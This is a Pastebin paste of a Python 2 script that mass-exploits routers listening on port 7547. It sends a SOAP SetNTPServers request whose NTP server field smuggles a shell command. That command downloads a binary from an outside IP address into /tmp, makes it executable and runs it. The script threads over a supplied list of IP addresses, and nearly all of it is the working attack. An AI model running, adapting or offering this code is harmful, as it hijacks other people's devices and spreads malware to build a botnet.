Advertisement
uzycie

soapy

Aug 24th, 2017
145
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.96 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3. import threading, sys, time, random, socket, re, os
  4.  
  5. if len(sys.argv) < 2:
  6. print "Usage: python "+sys.argv[0]+" <list>"
  7. sys.exit()
  8.  
  9. ips = open(sys.argv[1], "r").readlines()
  10. cmd = '/<?xml version=\"1.0\"?><SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"> <SOAPENV:Body> <u:SetNTPServers xmlns:u=\"urn:dslforum-org:service:Time:1\"> <NewNTPServer1>`cd /tmp/;wget http://198.167.140.116/ntpd > dvrHelper;chmod 777 dvrHelper;./dvrHelper`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAPENV:Body></SOAP-ENV:Envelope>add_entry("POST", "/UD/act?1 HTTP/1.1", "Host", "127.0.0.1:7547", "User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)", "SOAPAction", "urn:dslforum-org:service:Time:1#SetNTPServers", "Content-Type", "text/xml", "Content-Length", "560")'
  11. count = 0
  12. def readUntil(tn, string, timeout=15):
  13. buf = ''
  14. start_time = time.time()
  15. while time.time() - start_time < timeout:
  16. buf += tn.recv(1024)
  17. time.sleep(0.01)
  18. if string in buf: return buf
  19. raise Exception('TIMEOUT!')
  20.  
  21. class hackify(threading.Thread):
  22. def __init__ (self, ip):
  23. threading.Thread.__init__(self)
  24. self.ip = str(ip).rstrip('\n')
  25. def run(self):
  26. try:
  27. tn = socket.socket()
  28. tn.settimeout(8)
  29. tn.connect((self.ip,7547))
  30. except Exception:
  31. tn.close()
  32.  
  33. try:
  34. mp = ''
  35. mp += tn.recv(1024)
  36. if "" in mp:
  37. tn.send(cmd + "\n"); print "\033[32m[%s] command sent %s!\033[37m"%(count, self.ip); time.sleep(10); tn.close()
  38. except Exception:
  39. print "\033[34m[%s] TIMEOUT"%(self.ip)
  40. tn.close()
  41.  
  42. print "Total IPs: %s\n"%(len(ips))
  43. for ip in ips:
  44. try:
  45. count += 1
  46. t = hackify(ip)
  47. t.start()
  48. time.sleep(0.01)
  49. except:
  50. pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement